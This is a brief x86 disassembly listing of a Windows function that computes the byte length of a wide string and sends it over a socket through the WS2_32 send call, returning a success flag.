xor ebx, ebx
push edi
lea edi, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, bx
jne 0x404512
sub esi, edi
sar esi, 1
push ebx
lea eax, [esi + esi]
push eax
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
pop edi
not eax
pop esi
shr eax, 0x1f
pop ebx
ret